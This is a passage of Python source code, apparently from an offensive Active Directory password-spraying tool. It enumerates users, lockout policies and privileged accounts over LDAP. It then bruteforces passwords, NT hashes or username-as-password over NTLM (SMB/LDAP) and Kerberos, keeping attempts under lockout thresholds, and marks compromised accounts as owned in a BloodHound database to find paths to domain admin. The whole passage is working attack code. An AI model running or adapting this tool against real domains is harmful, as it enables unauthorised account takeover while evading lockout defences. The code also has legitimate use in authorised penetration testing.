list(set(list(self.granular_lockout_threshold.values()))))) 851 | logger.debug("Printing all users target of granular policies") 852 | for account in self.granular_lockout_threshold.keys(): 853 | logger.debug(" %-5d %s" % (self.granular_lockout_threshold[account], account)) 854 | 855 | 856 | def is_a_group(self, ldap_connection, object_dn): 857 | results = ldap_connection.search(searchBase=object_dn, attributes=["objectClass"]) 858 | if "group" in str(results[0][1][0]["vals"]): 859 | logger.debug("%s is a group" % object_dn) 860 | return True 861 | else: 862 | logger.debug("%s is not a group" % object_dn) 863 | return False 864 | 865 | 866 | def members_dn_from_group_dn(self, ldap_connection, object_dn): 867 | logger.debug("Fetching members of group: %s" % object_dn) 868 | members_dn = [] 869 | results = ldap_connection.search(searchBase=object_dn, attributes=["member"]) 870 | for element in results: 871 | direct_members_dn = element[1][0]["vals"] 872 | for direct_member_dn in direct_members_dn: 873 | if self.is_a_group(ldap_connection, direct_member_dn): 874 | members_dn += self.members_dn_from_group_dn(ldap_connection, direct_member_dn) 875 | else: 876 | members_dn.append(direct_member_dn.asOctets().decode("utf-8")) 877 | return members_dn 878 | 879 | 880 | def handle_auth_results(self, domain, user, user_dn, password, password_hash, auth, details): 881 | if password is not None: 882 | secret = password 883 | elif password_hash is not None: 884 | secret = password_hash 885 | printed_details = [] 886 | if auth: 887 | logger.debug("[yellow3]Match for domain (%s), user (%s) and password (%s)[/yellow3]" % (domain, user, password)) 888 | if self.options.set_as_owned == True: 889 | ret = self.neo4j.set_as_owned(user, domain) 890 | if ret == ERROR_SUCCESS: 891 | if self.neo4j.bloodhound_analysis(user, domain) == ERROR_SUCCESS: 892 | printed_details.append("[bold red on orange3] PATH TO DA [/bold red on orange3]") 893 | logger.verbose("User %s set as owned in neo4j" % user) 894 | elif ret == ERROR_NEO4J_NON_EXISTENT_NODE: 895 | logger.verbose("User {} does not exist in neo4j database".format(user)) 896 | else: 897 | return ret 898 | 899 | style = "green" 900 | if user in self.admin_users: 901 | printed_details.append("[bold red]admin account[/bold red]") 902 | elif user in self.special_users: 903 | printed_details.append("[bold blue]special account[/bold blue]") 904 | # if details == "KRB_ERR_RESPONSE_TOO_BIG": 905 | # logger.verbose("Raised KRB_ERR_RESPONSE_TOO_BIG for domain (%s), user (%s) and password (%s), auth is prbbly ok, set --transport-protocol to tcp to make sure of it" % (self.options.domain, user, password)) 906 | # printed_details.append("[yellow3](probably valid)[/yellow3]") 907 | # if details == "KRB_AP_ERR_SKEW": 908 | # logger.verbose("Raised KRB_AP_ERR_SKEW for domain (%s), user (%s) and password (%s), auth is prbbly ok, but there is a time skew between the machines" % (self.options.domain, user, password)) 909 | # printed_details.append("[yellow3](probably valid)[/yellow3]") 910 | if details == "local admin": 911 | printed_details.append("[yellow3]%s[/yellow3]" % details) 912 | self.table.add_row(domain, user, secret, " ".join(printed_details), style=style) 913 | else: 914 | # below occurs when testing with the smart mode on so that accounts don't get locked out 915 | if user_dn is not None: 916 | self.users[user_dn]["badPwdCount"] += 1 917 | # we still want to print the disabled accounts 918 | style = "magenta" 919 | # SMB auth returns False for auth, account is disabled, but password is ok, something else is wrong 920 | if details in smb_error_status.keys(): 921 | printed_details.append("[magenta]%s[/magenta]" % smb_error_status[details]) 922 | self.table.add_row(domain, user, secret, " ".join(printed_details), style=style) 923 | # Kerberos returns pre-auth error meaning account is disabled, but we don't know if password is ok 924 | elif details == "disabled": 925 | printed_details.append("[magenta]disabled[/magenta]") 926 | self.table.add_row(domain, user, "n/a", " ".join(printed_details), style=style) 927 | # Kerberos returns an error, usually meaning auth is ok but Kerberos can't send TGT through UDP or smth else 928 | if user in self.admin_users: 929 | printed_details.append("[bold red]admin account[/bold red]") 930 | elif user in self.special_users: 931 | printed_details.append("[bold blue]special account[/bold blue]") 932 | if details == "KRB_ERR_RESPONSE_TOO_BIG": 933 | logger.verbose("Raised KRB_ERR_RESPONSE_TOO_BIG for domain (%s), user (%s) and password (%s), auth is prbbly ok, set --transport-protocol to tcp to make sure of it" % (self.options.domain, user, password)) 934 | printed_details.append("[yellow3](probably valid)[/yellow3]") 935 | style = "green" 936 | self.table.add_row(domain, user, secret, " ".join(printed_details), style=style) 937 | if details == "KRB_AP_ERR_SKEW": 938 | logger.verbose("Raised KRB_AP_ERR_SKEW for domain (%s), user (%s) and password (%s), auth is prbbly ok, but there is a time skew between the machines" % (self.options.domain, user, password)) 939 | logger.verbose("Server time is %s (UTC)" % self.kerberos.server_time) 940 | printed_details.append("[yellow3](probably valid)[/yellow3]") 941 | style = "green" 942 | self.table.add_row(domain, user, secret, " ".join(printed_details), style=style) 943 | 944 | def smart_attack(self): 945 | logger.info("Bad password counts dont replicate between domain controllers. Only the PDC knows the real amount of those. Be sure to target the PDC so that accounts don't get locked out") 946 | # https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc775412(v=ws.10)?redirectedfrom=MSDN 947 | if self.options.auth_protocol == "ntlm": 948 | logger.verbose("Fetching domain information through NTLM over LDAP") 949 | # if self.options.auth_domain is None or "." not in self.options.auth_domain: 950 | # logger.error("FQDN Domain is needed to fetch domain information from LDAP") 951 | if self.options.auth_domain is None: 952 | logger.error("Domain is needed to fetch domain information from LDAP") 953 | if self.options.auth_dc_ip is not None: 954 | target = self.options.auth_dc_ip 955 | else: 956 | target = self.options.auth_domain 957 | auth_lm_hash = None 958 | auth_nt_hash = None 959 | if self.options.auth_hashes is not None: 960 | if ":" in self.options.auth_hashes: 961 | auth_lm_hash = self.options.auth_hashes.split(":")[0] 962 | auth_nt_hash = self.options.auth_hashes.split(":")[1] 963 | else: 964 | auth_nt_hash = self.options.auth_hashes 965 | 966 | # Handling LDAPS 967 | if self.options.auth_use_ldaps: 968 | try: 969 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, lm_hash=auth_lm_hash, nt_hash=auth_nt_hash) 970 | except: 971 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, lm_hash=auth_lm_hash, nt_hash=auth_nt_hash) 972 | else: 973 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=None, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, lm_hash=auth_lm_hash, nt_hash=auth_nt_hash) 974 | 975 | if ldap_connection: 976 | logger.success("Successfully logged in, fetching domain information") 977 | if self.options.enum_users: 978 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain) 979 | for user_dn in self.users.keys(): 980 | self.table.add_row(self.options.auth_domain, self.users[user_dn]["sAMAccountName"]) 981 | elif self.options.enum_policy: 982 | self.get_lockout_thresholds(ldap_connection=ldap_connection, domain=self.options.auth_domain) 983 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain) 984 | logger.success("Global lockout threshold is: %d" % self.global_lockout_threshold) 985 | logger.success("Granular thresholds are as follows: %s" % list(set(list(self.granular_lockout_threshold.values())))) 986 | logger.info("Printing table of users and their granular thresholds (in case of multiple PSOs, lowest threshold is kept) (empty table == no granular policies exist)") 987 | for user_dn in self.users.keys(): 988 | if self.users[user_dn]["lockoutThreshold"] != self.global_lockout_threshold: 989 | self.table.add_row(self.options.auth_domain, self.users[user_dn]["sAMAccountName"], str(self.users[user_dn]["lockoutThreshold"])) 990 | else: 991 | self.get_lockout_thresholds(ldap_connection=ldap_connection, domain=self.options.auth_domain) 992 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain) 993 | self.get_privileged_users(ldap_connection=ldap_connection, domain=self.options.auth_domain) 994 | self.domain_is_dumped = True 995 | logger.success("Domain enumeration is over, starting attack") 996 | k, maxi = 1, len(self.users.keys()) 997 | for user_dn in self.users.keys(): 998 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (k, maxi, round(k/maxi*100,1), self.users[user_dn]["sAMAccountName"]) 999 | k += 1 1000 | self.smart_try_user(user_dn) 1001 | else: 1002 | logger.error("Error connecting, username/password might be invalid...") 1003 | elif self.options.auth_protocol == "kerberos": 1004 | logger.debug("Fetching domain information through a Kerberos auth over LDAP") 1005 | if self.options.auth_kdc_ip is not None: 1006 | target = self.options.auth_kdc_ip 1007 | else: 1008 | target = self.options.auth_domain 1009 | if self.options.auth_use_ldaps: 1010 | try: 1011 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=self.options.auth_kdc_ip, tls_version=ssl.PROTOCOL_TLSv1_2, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, rc4_key=self.options.auth_rc4_key, aes_key=self.options.auth_aes_key, ccache_ticket=self.options.auth_ccache_ticket, dc_host=self.options.dc_host) 1012 | except ldap3.core.exceptions.LDAPSocketOpenError: 1013 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=self.options.auth_kdc_ip, tls_version=ssl.PROTOCOL_TLSv1, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, rc4_key=self.options.auth_rc4_key, aes_key=self.options.auth_aes_key, ccache_ticket=self.options.auth_ccache_ticket, dc_host=self.options.dc_host) 1014 | else: 1015 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=self.options.auth_kdc_ip, tls_version=None, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, rc4_key=self.options.auth_rc4_key, aes_key=self.options.auth_aes_key, ccache_ticket=self.options.auth_ccache_ticket, dc_host=self.options.dc_host) 1016 | if ldap_connection: 1017 | logger.success("Successfully logged in, fetching domain information") 1018 | if self.options.enum_users: 1019 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain) 1020 | for user_dn in self.users.keys(): 1021 | self.table.add_row(self.options.auth_domain, self.users[user_dn]["sAMAccountName"]) 1022 | elif self.options.enum_policy: 1023 | self.get_lockout_thresholds(ldap_connection=ldap_connection, domain=self.options.auth_domain) 1024 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain) 1025 | logger.success("Global lockout threshold is: %d" % self.global_lockout_threshold) 1026 | logger.success("Granular thresholds are as follows: %s" % list(set(list(self.granular_lockout_threshold.values())))) 1027 | logger.info("Printing table of users and their granular thresholds (in case of multiple PSOs, lowest threshold is kept) (empty table == no granular policies exist)") 1028 | for user_dn in self.users.keys(): 1029 | if self.users[user_dn]["lockoutThreshold"] != self.global_lockout_threshold: 1030 | self.table.add_row(self.options.auth_domain, self.users[user_dn]["sAMAccountName"], str(self.users[user_dn]["lockoutThreshold"])) 1031 | else: 1032 | self.get_lockout_thresholds(ldap_connection=ldap_connection, domain=self.options.auth_domain) 1033 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain) 1034 | self.get_privileged_users(ldap_connection=ldap_connection, domain=self.options.auth_domain) 1035 | self.domain_is_dumped = True 1036 | logger.success("Domain enumeration is over, starting attack") 1037 | k, maxi = 1, len(self.users.keys()) 1038 | for user_dn in self.users.keys(): 1039 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (k, maxi, round(k / maxi * 100, 1), self.users[user_dn]["sAMAccountName"]) 1040 | k += 1 1041 | self.smart_try_user(user_dn) 1042 | else: 1043 | logger.error("Error connecting, username/password might be invalid...") 1044 | 1045 | def smart_try_user(self, user_dn): 1046 | if self.options.bf_password is not None: 1047 | self.table.caption += "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (1,1,100) 1048 | self.smart_try_password_or_hash(user_dn=user_dn, password=self.options.bf_password, password_hash=None) 1049 | elif self.options.bf_passwords_file is not None: 1050 | if os.path.exists(self.options.bf_passwords_file): 1051 | with open(self.options.bf_passwords_file, "r") as bf_passwords_file: 1052 | bf_passwords_file = bf_passwords_file.readlines() 1053 | k, maxi = 1, len(bf_passwords_file) 1054 | for password in bf_passwords_file: 1055 | if "\n [yellow3]Pass[/]: " not in self.table.caption: 1056 | self.table.caption += "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1)) 1057 | else: 1058 | self.table.caption = self.table.caption.split('\n [yellow3]Pass[/]: ')[0] + "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1)) 1059 | k += 1 1060 | success = self.smart_try_password_or_hash(user_dn=user_dn, password=password.rstrip(), password_hash=None) 1061 | if success == True or success is None: 1062 | break 1063 | else: 1064 | logger.error("File (%s) does not exist" % self.options.bf_passwords_file) 1065 | elif self.options.bf_hash is not None: 1066 | self.table.caption += "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (1,1,100) 1067 | self.smart_try_password_or_hash(user_dn=user_dn, password=None, password_hash=self.options.bf_hash) 1068 | elif self.options.bf_hashes_file is not None: 1069 | if os.path.exists(self.options.bf_hashes_file): 1070 | with open(self.options.bf_hashes_file, "r") as bf_hashes_file: 1071 | bf_hashes_file = bf_hashes_file.readlines() 1072 | # Keeping only NT hashes 1073 | filtered_hashes, line_no = [], 1 1074 | for h in bf_hashes_file: 1075 | line_no += 1 1076 | h = h.strip() 1077 | if re.match('[0-9a-f]{32}',h.lower()): 1078 | filtered_hashes.append(h.lower()) 1079 | else: 1080 | logger.error("Skipping (%s) on line %d from hashes list as it does not match the NT format." % (h, line_no)) 1081 | # Starting bruteforce with the filtered_hashes 1082 | k, maxi = 1, len(bf_hashes_file) 1083 | for password_hash in bf_hashes_file: 1084 | if "\n [yellow3]Hash[/]: " not in self.table.caption: 1085 | self.table.caption += "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1)) 1086 | else: 1087 | self.table.caption = self.table.caption.split('\n [yellow3]Hash[/]: ')[0] + "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1)) 1088 | k += 1 1089 | success = self.smart_try_password_or_hash(user_dn=user_dn, password=None, password_hash=password_hash.rstrip()) 1090 | if success == True or success is None: 1091 | break 1092 | else: 1093 | logger.error("File (%s) does not exist" % self.options.bf_passwords_file) 1094 | elif self.options.user_as_password: 1095 | user = self.users[user_dn]["sAMAccountName"] 1096 | self.table.caption += "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (1,1,100) 1097 | self.smart_try_password_or_hash(user_dn=user_dn, password=user, password_hash=None) 1098 | else: 1099 | logger.warning("There is nothing to be done here, no password/hash (or list of) supplied.") 1100 | logger.warning("This is not supposed to happen, exiting...") 1101 | exit(0) 1102 | 1103 | 1104 | def smart_try_password_or_hash(self, user_dn, password=None, password_hash=None): 1105 | logger.debug("") 1106 | if (self.users[user_dn]["lockoutThreshold"] - self.users[user_dn]["badPwdCount"] > self.options.lockout_threshold) or self.users[user_dn]["lockoutThreshold"] == 0: 1107 | user = self.users[user_dn]["sAMAccountName"] 1108 | if self.options.bruteforced_protocol == "ntlm": 1109 | if self.options.auth_domain is None: 1110 | # this is not supposed to happen 1111 | logger.error("This is not supposed to happen, no domain was set (error: 1337-B1)") 1112 | domain = "" 1113 | else: 1114 | domain = self.options.auth_domain 1115 | if self.options.dc_ip is not None: 1116 | target = self.options.dc_ip 1117 | else: 1118 | target = domain 1119 | 1120 | if self.options.application_protocol == "smb": 1121 | auth, details = self.ntlm.SMB_authentication(target=target, domain=domain, user=user, password=password, nt_hash=password_hash) 1122 | elif self.options.application_protocol == "ldap": 1123 | 1124 | # Handling LDAPS 1125 | if self.options.auth_use_ldaps: 1126 | try: 1127 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1128 | except: 1129 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1130 | else: 1131 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=None, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1132 | 1133 | # LDAP authentication doesn't throw errors indicating is the user is disabled or something... 1134 | details = "" 1135 | self.handle_auth_results(domain=domain, user=user, user_dn=user_dn, password=password, password_hash=password_hash, auth=auth, details=details) 1136 | # I'm returning auth instead of True or False because there are scenarios where auth==None, example: when an SMB auth is ok but throws an error on the account (disabled for instance) 1137 | return auth 1138 | elif self.options.bruteforced_protocol == "kerberos": 1139 | if self.options.kdc_ip is not None: 1140 | target = self.options.kdc_ip 1141 | else: 1142 | target = self.options.auth_domain 1143 | if user not in self.kerberos.disabled_account and user not in self.kerberos.principal_unknown: 1144 | try: 1145 | auth, details = self.kerberos.pre_authentication(target=target, domain=self.options.auth_domain, user=user, password=password, rc4_key=password_hash, etype=self.options.etype, tproto=self.options.transport_protocol) 1146 | self.handle_auth_results(domain=self.options.auth_domain, user=user, user_dn=user_dn, password=password, password_hash=password_hash, auth=auth, details=details) 1147 | if auth: 1148 | return True 1149 | else: 1150 | return False 1151 | except Exception as pre_auth_error: 1152 | logger.error(pre_auth_error) 1153 | return None 1154 | else: 1155 | logger.debug("Maximum attempts reached for user %s, reduce --lockout-threshold to bypass" % self.users[user_dn]["sAMAccountName"]) 1156 | 1157 | 1158 | def bruteforce_attack(self): 1159 | if self.options.bf_user is not None: 1160 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (1,1,100,self.options.bf_user.rstrip()) 1161 | self.bruteforce_try_user(self.options.bf_user) 1162 | elif self.options.line_per_line and self.options.bf_users_file is not None and (self.options.bf_passwords_file is not None or self.options.bf_hashes_file is not None): 1163 | users = [] 1164 | if os.path.exists(self.options.bf_users_file): 1165 | with open(self.options.bf_users_file, "r") as bf_users_file: 1166 | for user in bf_users_file: 1167 | users.append(user.rstrip()) 1168 | if self.options.bf_passwords_file is not None: 1169 | passwords = [] 1170 | if os.path.exists(self.options.bf_passwords_file): 1171 | with open(self.options.bf_passwords_file, "r") as bf_passwords_file: 1172 | for password in bf_passwords_file.readlines(): 1173 | passwords.append(password.rstrip()) 1174 | if len(users) != len(passwords): 1175 | logger.error("Mismatch between the number of users (%d) and the number of passwords (%d), can't try line per line, exiting..." % (len(users), len(passwords))) 1176 | exit(0) 1177 | else: 1178 | maxi = len(users) 1179 | for i in range(len(users)): 1180 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (i, maxi, round(i/maxi*100,1), users[i].rstrip()) 1181 | success = self.bruteforce_try_password_or_hash(user=users[i], password=passwords[i], password_hash=None) 1182 | if success == True and self.options.stop_on_success == True: 1183 | logger.debug("Stopping on first successful auth") 1184 | exit(0) 1185 | time.sleep(self.options.delay) 1186 | elif self.options.bf_hashes_file is not None: 1187 | password_hashes = [] 1188 | if os.path.exists(self.options.bf_hashes_file): 1189 | with open(self.options.bf_hashes_file, "r") as bf_hashes_file: 1190 | for password_hash in bf_hashes_file.readlines(): 1191 | password_hashes.append(password_hash.rstrip()) 1192 | # Keeping only NT hashes 1193 | filtered_hashes, line_no = [], 1 1194 | for h in password_hashes: 1195 | line_no += 1 1196 | h = h.strip() 1197 | if re.match('[0-9a-f]{32}',h.lower()): 1198 | filtered_hashes.append(h.lower()) 1199 | else: 1200 | logger.error("Skipping (%s) on line %d from hashes list as it does not match the NT format." % (h, line_no)) 1201 | password_hashes = filtered_hashes 1202 | # Starting bruteforce line by line 1203 | if len(users) != len(password_hashes): 1204 | logger.error("Mismatch between the number of users (%d) and the number of password hashes (%d), can't try line per line, exiting..." % (len(users), len(password_hashes))) 1205 | exit(0) 1206 | else: 1207 | maxi = len(users) 1208 | for i in range(len(users)): 1209 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (i, maxi, round(i/maxi*100,1), users[i].rstrip()) 1210 | success = self.bruteforce_try_password_or_hash(user=users[i], password=None, password_hash=password_hashes[i]) 1211 | if success == True and self.options.stop_on_success == True: 1212 | logger.debug("Stopping on first successful auth") 1213 | exit(0) 1214 | time.sleep(self.options.delay) 1215 | 1216 | elif self.options.bf_users_file is not None: 1217 | if os.path.exists(self.options.bf_users_file): 1218 | with open(self.options.bf_users_file, "r") as bf_users_file: 1219 | bf_users_file = bf_users_file.readlines() 1220 | k, maxi = 1, len(bf_users_file) 1221 | for user in bf_users_file: 1222 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (k, maxi, round(k/maxi*100,1),user.rstrip()) 1223 | k += 1 1224 | success = self.bruteforce_try_user(user.rstrip()) 1225 | if success == True and self.options.stop_on_success == True: 1226 | logger.debug("Stopping on first successful auth") 1227 | exit(0) 1228 | time.sleep(self.options.delay) 1229 | else: 1230 | logger.error("File (%s) does not exist" % self.options.bf_users_file) 1231 | else: 1232 | logger.error("No user (or list of users) was supplied, there is nothing to bruteforce") 1233 | 1234 | def bruteforce_try_user(self, user): 1235 | # Bruteforce with passwords 1236 | if self.options.bf_password is not None: 1237 | self.table.caption += "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (1,1,100) 1238 | return self.bruteforce_try_password_or_hash(user=user, password=self.options.bf_password, password_hash=None) 1239 | elif self.options.bf_passwords_file is not None: 1240 | if os.path.exists(self.options.bf_passwords_file): 1241 | with open(self.options.bf_passwords_file, "r") as bf_passwords_file: 1242 | bf_passwords_file = bf_passwords_file.readlines() 1243 | k, maxi = 1, len(bf_passwords_file) 1244 | for password in bf_passwords_file: 1245 | if "\n [yellow3]Pass[/]: " not in self.table.caption: 1246 | self.table.caption += "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1)) 1247 | else: 1248 | self.table.caption = self.table.caption.split('\n [yellow3]Pass[/]: ')[0] + "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1)) 1249 | k += 1 1250 | success = self.bruteforce_try_password_or_hash(user=user, password=password.rstrip(), password_hash=None) 1251 | if success == True or success is None: 1252 | return success 1253 | time.sleep(self.options.delay) 1254 | else: 1255 | logger.error("File (%s) does not exist" % self.options.bf_passwords_file) 1256 | # Bruteforce with hashes 1257 | elif self.options.bf_hash is not None: 1258 | self.table.caption += "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (1,1,100) 1259 | return self.bruteforce_try_password_or_hash(user=user, password=None, password_hash=self.options.bf_hash) 1260 | elif self.options.bf_hashes_file is not None: 1261 | if os.path.exists(self.options.bf_hashes_file): 1262 | with open(self.options.bf_hashes_file, "r") as bf_hashes_file: 1263 | bf_hashes_file = bf_hashes_file.readlines() 1264 | # Keeping only NT hashes 1265 | filtered_hashes, line_no = [], 1 1266 | for h in bf_hashes_file: 1267 | line_no += 1 1268 | h = h.strip() 1269 | if re.match('[0-9a-f]{32}',h.lower()): 1270 | filtered_hashes.append(h.lower()) 1271 | else: 1272 | logger.error("Skipping (%s) on line %d from hashes list as it does not match the NT format." % (h, line_no)) 1273 | # Starting bruteforce with the filtered_hashes 1274 | k, maxi = 1, len(filtered_hashes) 1275 | for password_hash in filtered_hashes: 1276 | if "\n [yellow3]Hash[/]: " not in self.table.caption: 1277 | self.table.caption += "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1)) 1278 | else: 1279 | self.table.caption = self.table.caption.split('\n [yellow3]Hash[/]: ')[0] + "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1)) 1280 | k += 1 1281 | success = self.bruteforce_try_password_or_hash(user=user, password=None, password_hash=password_hash.rstrip()) 1282 | if success == True or success is None: 1283 | return success 1284 | time.sleep(self.options.delay) 1285 | else: 1286 | logger.error("File (%s) does not exist" % self.options.bf_passwords_file) 1287 | elif self.options.user_as_password: 1288 | return self.bruteforce_try_password_or_hash(user=user, password=user, password_hash=None) 1289 | else: 1290 | logger.error("You're not supposed to be here, LEAVE !!! (or debug me senpai)") 1291 | exit(0) 1292 | # if self.options.bruteforced_protocol == "kerberos": 1293 | # if self.options.kdc_ip is not None: 1294 | # target = self.options.kdc_ip 1295 | # else: 1296 | # target = self.options.domain 1297 | # salts = self.kerberos.get_users_salts(target=target, domain=self.options.domain, user=user, rc4_key="", etype=self.options.etype, tproto=self.options.transport_protocol) 1298 | # if user in self.kerberos.disabled_account: 1299 | # details = "[magenta]disabled[/magenta]" 1300 | # self.table.add_row(self.options.domain, user, details) 1301 | # elif salts: 1302 | # self.table.add_row(self.options.domain, user, "") 1303 | # elif self.options.bruteforced_protocol == "ntlm": 1304 | # logger.error("No password (or list of passwords) was supplied, users enumeration attack is not possible through ntlm, try with kerberos") 1305 | # exit(0) 1306 | 1307 | 1308 | def bruteforce_try_password_or_hash(self, user, password=None, password_hash=None): 1309 | logger.debug("") 1310 | if self.options.bruteforced_protocol == "ntlm": 1311 | if self.options.domain is None: 1312 | domain = "" 1313 | else: 1314 | domain = self.options.domain 1315 | if self.options.dc_ip is not None: 1316 | target = self.options.dc_ip 1317 | else: 1318 | target = domain 1319 | 1320 | if self.options.application_protocol == "smb": 1321 | auth, details = self.ntlm.SMB_authentication(target=target, domain=domain, user=user, password=password, nt_hash=password_hash) 1322 | if auth != True and auth != False and not self.domain_is_dumped and not self.options.no_enumeration: 1323 | if domain == "": 1324 | logger.verbose("No domain supplied, skipping domain dump despite valid authentication") 1325 | else: 1326 | logger.verbose("First successful auth! Starting domain dump to find privileged users") 1327 | 1328 | # Handling LDAPS 1329 | if self.options.auth_use_ldaps: 1330 | try: 1331 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1332 | except: 1333 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1334 | else: 1335 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=None, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1336 | 1337 | if ldap_connection: 1338 | self.get_privileged_users(ldap_connection=ldap_connection, domain=self.options.domain) 1339 | self.domain_is_dumped = True 1340 | logger.verbose("Domain enumeration is over, resuming attack") 1341 | self.handle_auth_results(domain=domain, user=user, user_dn=None, password=password, password_hash=password_hash, auth=auth, details=details) 1342 | return auth 1343 | elif self.options.application_protocol == "ldap": 1344 | 1345 | # Handling LDAPS 1346 | if self.options.auth_use_ldaps: 1347 | try: 1348 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1349 | except: 1350 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1351 | else: 1352 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=None, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1353 | 1354 | # LDAP authentication doesn't throw errors indicating is the user is disabled or something... 1355 | details = "" 1356 | if auth and not self.domain_is_dumped and not self.options.no_enumeration: 1357 | if domain == "": 1358 | logger.verbose("No domain supplied, skipping domain dump despite valid authentication") 1359 | else: 1360 | logger.verbose("First successful auth! Starting domain dump to find privileged users") 1361 | 1362 | # Handling LDAPS 1363 | if self.options.auth_use_ldaps: 1364 | try: 1365 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1366 | except: 1367 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1368 | else: 1369 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=None, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash) 1370 | 1371 | if ldap_connection: 1372 | self.get_privileged_users(ldap_connection=ldap_connection, domain=self.options.domain) 1373 | self.domain_is_dumped = True 1374 | logger.verbose("Domain enumeration is over, resuming attack") 1375 | self.handle_auth_results(domain=domain, user=user, user_dn=None, password=password, password_hash=password_hash, auth=auth, details=details) 1376 | if auth: 1377 | return True 1378 | else: 1379 | return False 1380 | elif self.options.bruteforced_protocol == "kerberos": 1381 | if self.options.kdc_ip is not None: 1382 | target = self.options.kdc_ip 1383 | else: 1384 | target = self.options.domain 1385 | if user not in self.kerberos.disabled_account and user not in self.kerberos.principal_unknown: 1386 | try: 1387 | auth, details = self.kerberos.pre_authentication(target=target, domain=self.options.domain, user=user, password=password, rc4_key=password_hash, etype=self.options.etype, tproto=self.options.transport_protocol) 1388 | if auth and not self.domain_is_dumped and not self.options.no_enumeration: 1389 | logger.verbose("First successful auth! Starting domain dump to find privileged users") 1390 | 1391 | if self.options.auth_use_ldaps: 1392 | try: 1393 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=self.options.domain, user=user, password=password, rc4_key=password_hash, aes_key=None, ccache_ticket=None, dc_host=self.options.dc_host) 1394 | except: 1395 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=target, tls_version=ssl.PROTOCOL_TLSv1, domain=self.options.domain, user=user, password=password, rc4_key=password_hash, aes_key=None, ccache_ticket=None, dc_host=self.options.dc_host) 1396 | else: 1397 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=target, tls_version=None, domain=self.options.domain, user=user, password=password, rc4_key=password_hash, aes_key=None, ccache_ticket=None, dc_host=self.options.dc_host) 1398 | 1399 | if ldap_connection: 1400 | self.get_privileged_users(ldap_connection=ldap_connection, domain=self.options.domain) 1401 | self.domain_is_dumped = True 1402 | logger.verbose("Domain 